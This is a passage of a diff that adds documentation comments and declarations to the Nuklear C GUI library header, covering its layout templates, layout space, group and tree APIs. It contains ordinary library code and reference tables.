nk_layout_row_template_begin(struct nk_context*, float row_height); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __height__ | Holds height of each widget in row or zero for auto layouting +*/ +NK_API void nk_layout_row_template_begin(struct nk_context*, float row_height); +/*/// #### nk_layout_row_template_push_dynamic +/// Adds a dynamic column that dynamically grows and can go to zero if not enough space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_template_push_dynamic(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __height__ | Holds height of each widget in row or zero for auto layouting +*/ +NK_API void nk_layout_row_template_push_dynamic(struct nk_context*); +/*/// #### nk_layout_row_template_push_variable +/// Adds a variable column that dynamically grows but does not shrink below specified pixel width +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_template_push_variable(struct nk_context*, float min_width); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __width__ | Holds the minimum pixel width the next column must always be +*/ +NK_API void nk_layout_row_template_push_variable(struct nk_context*, float min_width); +/*/// #### nk_layout_row_template_push_static +/// Adds a static column that does not grow and will always have the same size +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_template_push_static(struct nk_context*, float width); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __width__ | Holds the absolute pixel width value the next column must be +*/ +NK_API void nk_layout_row_template_push_static(struct nk_context*, float width); +/*/// #### nk_layout_row_template_end +/// Marks the end of the row template +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_row_template_end(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +*/ +NK_API void nk_layout_row_template_end(struct nk_context*); +/*/// #### nk_layout_space_begin +/// Begins a new layouting space that allows to specify each widgets position and size. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_space_begin(struct nk_context*, enum nk_layout_format, float height, int widget_count); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_begin_xxx` +/// __fmt__ | Either `NK_DYNAMIC` for window ratio or `NK_STATIC` for fixed size columns +/// __height__ | Holds height of each widget in row or zero for auto layouting +/// __columns__ | Number of widgets inside row +*/ +NK_API void nk_layout_space_begin(struct nk_context*, enum nk_layout_format, float height, int widget_count); +/*/// #### nk_layout_space_push +/// Pushes position and size of the next widget in own coordinate space either as pixel or ratio +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_space_push(struct nk_context *ctx, struct nk_rect bounds); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// __bounds__ | Position and size in laoyut space local coordinates +*/ +NK_API void nk_layout_space_push(struct nk_context*, struct nk_rect bounds); +/*/// #### nk_layout_space_end +/// Marks the end of the layout space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_layout_space_end(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +*/ +NK_API void nk_layout_space_end(struct nk_context*); +/*/// #### nk_layout_space_bounds +/// Utility function to calculate total space allocated for `nk_layout_space` +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_layout_space_bounds(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// +/// Returns `nk_rect` holding the total space allocated +*/ +NK_API struct nk_rect nk_layout_space_bounds(struct nk_context*); +/*/// #### nk_layout_space_to_screen +/// Converts vector from nk_layout_space coordinate space into screen space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_layout_space_to_screen(struct nk_context*, struct nk_vec2); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// __vec__ | Position to convert from layout space into screen coordinate space +/// +/// Returns transformed `nk_vec2` in screen space coordinates +*/ +NK_API struct nk_vec2 nk_layout_space_to_screen(struct nk_context*, struct nk_vec2); +/*/// #### nk_layout_space_to_local +/// Converts vector from layout space into screen space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_vec2 nk_layout_space_to_local(struct nk_context*, struct nk_vec2); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// __vec__ | Position to convert from screen space into layout coordinate space +/// +/// Returns transformed `nk_vec2` in layout space coordinates +*/ +NK_API struct nk_vec2 nk_layout_space_to_local(struct nk_context*, struct nk_vec2); +/*/// #### nk_layout_space_rect_to_screen +/// Converts rectangle from screen space into layout space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_layout_space_rect_to_screen(struct nk_context*, struct nk_rect); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// __bounds__ | Rectangle to convert from layout space into screen space +/// +/// Returns transformed `nk_rect` in screen space coordinates +*/ +NK_API struct nk_rect nk_layout_space_rect_to_screen(struct nk_context*, struct nk_rect); +/*/// #### nk_layout_space_rect_to_local +/// Converts rectangle from layout space into screen space +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_rect nk_layout_space_rect_to_local(struct nk_context*, struct nk_rect); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct after call `nk_layout_space_begin` +/// __bounds__ | Rectangle to convert from layout space into screen space +/// +/// Returns transformed `nk_rect` in layout space coordinates +*/ +NK_API struct nk_rect nk_layout_space_rect_to_local(struct nk_context*, struct nk_rect); +/* ============================================================================= + * + * GROUP + * + * ============================================================================= +/// ### Groups +/// Groups are basically windows inside windows. They allow to subdivide space +/// in a window to layout widgets as a group. Almost all more complex widget +/// layouting requirements can be solved using groups and basic layouting +/// fuctionality. Groups just like windows are identified by an unique name and +/// internally keep track of scrollbar offsets by default. However additional +/// versions are provided to directly manage the scrollbar. +/// +/// #### Usage +/// To create a group you have to call one of the three `nk_group_begin_xxx` +/// functions to start group declarations and `nk_group_end` at the end. Furthermore it +/// is required to check the return value of `nk_group_begin_xxx` and only process +/// widgets inside the window if the value is not 0. +/// Nesting groups is possible and even encouraged since many layouting schemes +/// can only be achieved by nesting. Groups, unlike windows, need `nk_group_end` +/// to be only called if the corosponding `nk_group_begin_xxx` call does not return 0: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_group_begin_xxx(ctx, ...) { +/// // [... widgets ...] +/// nk_group_end(ctx); +/// } +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// In the grand concept groups can be called after starting a window +/// with `nk_begin_xxx` and before calling `nk_end`: +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// struct nk_context ctx; +/// nk_init_xxx(&ctx, ...); +/// while (1) { +/// // Input +/// Event evt; +/// nk_input_begin(&ctx); +/// while (GetEvent(&evt)) { +/// if (evt.type == MOUSE_MOVE) +/// nk_input_motion(&ctx, evt.motion.x, evt.motion.y); +/// else if (evt.type == [...]) { +/// nk_input_xxx(...); +/// } +/// } +/// nk_input_end(&ctx); +/// // +/// // Window +/// if (nk_begin_xxx(...) { +/// // [...widgets...] +/// nk_layout_row_dynamic(...); +/// if (nk_group_begin_xxx(ctx, ...) { +/// //[... widgets ...] +/// nk_group_end(ctx); +/// } +/// } +/// nk_end(ctx); +/// // +/// // Draw +/// const struct nk_command *cmd = 0; +/// nk_foreach(cmd, &ctx) { +/// switch (cmd->type) { +/// case NK_COMMAND_LINE: +/// your_draw_line_function(...) +/// break; +/// case NK_COMMAND_RECT +/// your_draw_rect_function(...) +/// break; +/// case ...: +/// // [...] +/// } +/// nk_clear(&ctx); +/// } +/// nk_free(&ctx); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// #### Reference +/// Function | Description +/// --------------------------------|------------------------------------------- +/// nk_group_begin | Start a new group with internal scrollbar handling +/// nk_group_begin_titled | Start a new group with separeted name and title and internal scrollbar handling +/// nk_group_end | Ends a group. Should only be called if nk_group_begin returned non-zero +/// nk_group_scrolled_offset_begin | Start a new group with manual separated handling of scrollbar x- and y-offset +/// nk_group_scrolled_begin | Start a new group with manual scrollbar handling +/// nk_group_scrolled_end | Ends a group with manual scrollbar handling. Should only be called if nk_group_begin returned non-zero +/// nk_group_get_scroll | Gets the scroll offset for the given group +/// nk_group_set_scroll | Sets the scroll offset for the given group +*/ +/*/// #### nk_group_begin +/// Starts a new widget group. Requires a previous layouting function to specify a pos/size. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_group_begin(struct nk_context*, const char *title, nk_flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __title__ | Must be an unique identifier for this group that is also used for the group header +/// __flags__ | Window flags defined in the nk_panel_flags section with a number of different group behaviors +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_group_begin(struct nk_context*, const char *title, nk_flags); +/*/// #### nk_group_begin_titled +/// Starts a new widget group. Requires a previous layouting function to specify a pos/size. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_group_begin_titled(struct nk_context*, const char *name, const char *title, nk_flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __id__ | Must be an unique identifier for this group +/// __title__ | Group header title +/// __flags__ | Window flags defined in the nk_panel_flags section with a number of different group behaviors +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_group_begin_titled(struct nk_context*, const char *name, const char *title, nk_flags); +/*/// #### nk_group_end +/// Ends a widget group +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_group_end(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +*/ +NK_API void nk_group_end(struct nk_context*); +/*/// #### nk_group_scrolled_offset_begin +/// starts a new widget group. requires a previous layouting function to specify +/// a size. Does not keep track of scrollbar. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_group_scrolled_offset_begin(struct nk_context*, nk_uint *x_offset, nk_uint *y_offset, const char *title, nk_flags flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __x_offset__| Scrollbar x-offset to offset all widgets inside the group horizontally. +/// __y_offset__| Scrollbar y-offset to offset all widgets inside the group vertically +/// __title__ | Window unique group title used to both identify and display in the group header +/// __flags__ | Window flags from the nk_panel_flags section +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_group_scrolled_offset_begin(struct nk_context*, nk_uint *x_offset, nk_uint *y_offset, const char *title, nk_flags flags); +/*/// #### nk_group_scrolled_begin +/// Starts a new widget group. requires a previous +/// layouting function to specify a size. Does not keep track of scrollbar. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_group_scrolled_begin(struct nk_context*, struct nk_scroll *off, const char *title, nk_flags); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __off__ | Both x- and y- scroll offset. Allows for manual scrollbar control +/// __title__ | Window unique group title used to both identify and display in the group header +/// __flags__ | Window flags from nk_panel_flags section +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_group_scrolled_begin(struct nk_context*, struct nk_scroll *off, const char *title, nk_flags); +/*/// #### nk_group_scrolled_end +/// Ends a widget group after calling nk_group_scrolled_offset_begin or nk_group_scrolled_begin. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_group_scrolled_end(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +*/ +NK_API void nk_group_scrolled_end(struct nk_context*); +/*/// #### nk_group_get_scroll +/// Gets the scroll position of the given group. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_group_get_scroll(struct nk_context*, const char *id, nk_uint *x_offset, nk_uint *y_offset); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// -------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __id__ | The id of the group to get the scroll position of +/// __x_offset__ | A pointer to the x offset output (or NULL to ignore) +/// __y_offset__ | A pointer to the y offset output (or NULL to ignore) +*/ +NK_API void nk_group_get_scroll(struct nk_context*, const char *id, nk_uint *x_offset, nk_uint *y_offset); +/*/// #### nk_group_set_scroll +/// Sets the scroll position of the given group. +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_group_set_scroll(struct nk_context*, const char *id, nk_uint x_offset, nk_uint y_offset); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// -------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __id__ | The id of the group to scroll +/// __x_offset__ | The x offset to scroll to +/// __y_offset__ | The y offset to scroll to +*/ +NK_API void nk_group_set_scroll(struct nk_context*, const char *id, nk_uint x_offset, nk_uint y_offset); +/* ============================================================================= + * + * TREE + * + * ============================================================================= +/// ### Tree +/// Trees represent two different concept. First the concept of a collapsable +/// UI section that can be either in a hidden or visibile state. They allow the UI +/// user to selectively minimize the current set of visible UI to comprehend. +/// The second concept are tree widgets for visual UI representation of trees.

+/// +/// Trees thereby can be nested for tree representations and multiple nested +/// collapsable UI sections. All trees are started by calling of the +/// `nk_tree_xxx_push_tree` functions and ended by calling one of the +/// `nk_tree_xxx_pop_xxx()` functions. Each starting functions takes a title label +/// and optionally an image to be displayed and the initial collapse state from +/// the nk_collapse_states section.

+/// +/// The runtime state of the tree is either stored outside the library by the caller +/// or inside which requires a unique ID. The unique ID can either be generated +/// automatically from `__FILE__` and `__LINE__` with function `nk_tree_push`, +/// by `__FILE__` and a user provided ID generated for example by loop index with +/// function `nk_tree_push_id` or completely provided from outside by user with +/// function `nk_tree_push_hashed`. +/// +/// #### Usage +/// To create a tree you have to call one of the seven `nk_tree_xxx_push_xxx` +/// functions to start a collapsable UI section and `nk_tree_xxx_pop` to mark the +/// end. +/// Each starting function will either return `false(0)` if the tree is collapsed +/// or hidden and therefore does not need to be filled with content or `true(1)` +/// if visible and required to be filled. +/// +/// !!! Note +/// The tree header does not require and layouting function and instead +/// calculates a auto height based on the currently used font size +/// +/// The tree ending functions only need to be called if the tree content is +/// actually visible. So make sure the tree push function is guarded by `if` +/// and the pop call is only taken if the tree is visible. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// if (nk_tree_push(ctx, NK_TREE_TAB, "Tree", NK_MINIMIZED)) { +/// nk_layout_row_dynamic(...); +/// nk_widget(...); +/// nk_tree_pop(ctx); +/// } +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// #### Reference +/// Function | Description +/// ----------------------------|------------------------------------------- +/// nk_tree_push | Start a collapsable UI section with internal state management +/// nk_tree_push_id | Start a collapsable UI section with internal state management callable in a look +/// nk_tree_push_hashed | Start a collapsable UI section with internal state management with full control over internal unique ID use to store state +/// nk_tree_image_push | Start a collapsable UI section with image and label header +/// nk_tree_image_push_id | Start a collapsable UI section with image and label header and internal state management callable in a look +/// nk_tree_image_push_hashed | Start a collapsable UI section with image and label header and internal state management with full control over internal unique ID use to store state +/// nk_tree_pop | Ends a collapsable UI section +// +/// nk_tree_state_push | Start a collapsable UI section with external state management +/// nk_tree_state_image_push | Start a collapsable UI section with image and label header and external state management +/// nk_tree_state_pop | Ends a collapsabale UI section +/// +/// #### nk_tree_type +/// Flag | Description +/// ----------------|---------------------------------------- +/// NK_TREE_NODE | Highlighted tree header to mark a collapsable UI section +/// NK_TREE_TAB | Non-highighted tree header closer to tree representations +*/ +/*/// #### nk_tree_push +/// Starts a collapsable UI section with internal state management +/// !!! WARNING +/// To keep track of the runtime tree collapsable state this function uses +/// defines `__FILE__` and `__LINE__` to generate a unique ID. If you want +/// to call this function in a loop please use `nk_tree_push_id` or +/// `nk_tree_push_hashed` instead. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_tree_push(ctx, type, title, state) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +#define nk_tree_push(ctx, type, title, state) nk_tree_push_hashed(ctx, type, title, state, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),__LINE__) +/*/// #### nk_tree_push_id +/// Starts a collapsable UI section with internal state management callable in a look +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_tree_push_id(ctx, type, title, state, id) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// __id__ | Loop counter index if this function is called in a loop +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +#define nk_tree_push_id(ctx, type, title, state, id) nk_tree_push_hashed(ctx, type, title, state, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),id) +/*/// #### nk_tree_push_hashed +/// Start a collapsable UI section with internal state management with full +/// control over internal unique ID used to store state +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_tree_push_hashed(struct nk_context*, enum nk_tree_type, const char *title, enum nk_collapse_states initial_state, const char *hash, int len,int seed); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// __hash__ | Memory block or string to generate the ID from +/// __len__ | Size of passed memory block or string in __hash__ +/// __seed__ | Seeding value if this function is called in a loop or default to `0` +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_tree_push_hashed(struct nk_context*, enum nk_tree_type, const char *title, enum nk_collapse_states initial_state, const char *hash, int len,int seed); +/*/// #### nk_tree_image_push +/// Start a collapsable UI section with image and label header +/// !!! WARNING +/// To keep track of the runtime tree collapsable state this function uses +/// defines `__FILE__` and `__LINE__` to generate a unique ID. If you want +/// to call this function in a loop please use `nk_tree_image_push_id` or +/// `nk_tree_image_push_hashed` instead. +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_tree_image_push(ctx, type, img, title, state) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __img__ | Image to display inside the header on the left of the label +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +#define nk_tree_image_push(ctx, type, img, title, state) nk_tree_image_push_hashed(ctx, type, img, title, state, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),__LINE__) +/*/// #### nk_tree_image_push_id +/// Start a collapsable UI section with image and label header and internal state +/// management callable in a look +/// +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// #define nk_tree_image_push_id(ctx, type, img, title, state, id) +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __img__ | Image to display inside the header on the left of the label +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// __id__ | Loop counter index if this function is called in a loop +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +#define nk_tree_image_push_id(ctx, type, img, title, state, id) nk_tree_image_push_hashed(ctx, type, img, title, state, NK_FILE_LINE,nk_strlen(NK_FILE_LINE),id) +/*/// #### nk_tree_image_push_hashed +/// Start a collapsable UI section with internal state management with full +/// control over internal unique ID used to store state +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// int nk_tree_image_push_hashed(struct nk_context*, enum nk_tree_type, struct nk_image, const char *title, enum nk_collapse_states initial_state, const char *hash, int len,int seed); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// __ctx__ | Must point to an previously initialized `nk_context` struct +/// __type__ | Value from the nk_tree_type section to visually mark a tree node header as either a collapseable UI section or tree node +/// __img__ | Image to display inside the header on the left of the label +/// __title__ | Label printed in the tree header +/// __state__ | Initial tree state value out of nk_collapse_states +/// __hash__ | Memory block or string to generate the ID from +/// __len__ | Size of passed memory block or string in __hash__ +/// __seed__ | Seeding value if this function is called in a loop or default to `0` +/// +/// Returns `true(1)` if visible and fillable with widgets or `false(0)` otherwise +*/ +NK_API int nk_tree_image_push_hashed(struct nk_context*, enum nk_tree_type, struct nk_image, const char *title, enum nk_collapse_states initial_state, const char *hash, int len,int seed); +/*/// #### nk_tree_pop +/// Ends a collapsabale UI section +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~c +/// void nk_tree_pop(struct nk_context*); +/// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +/// +/// Parameter | Description +/// ------------|----------------------------------------------------------- +/// 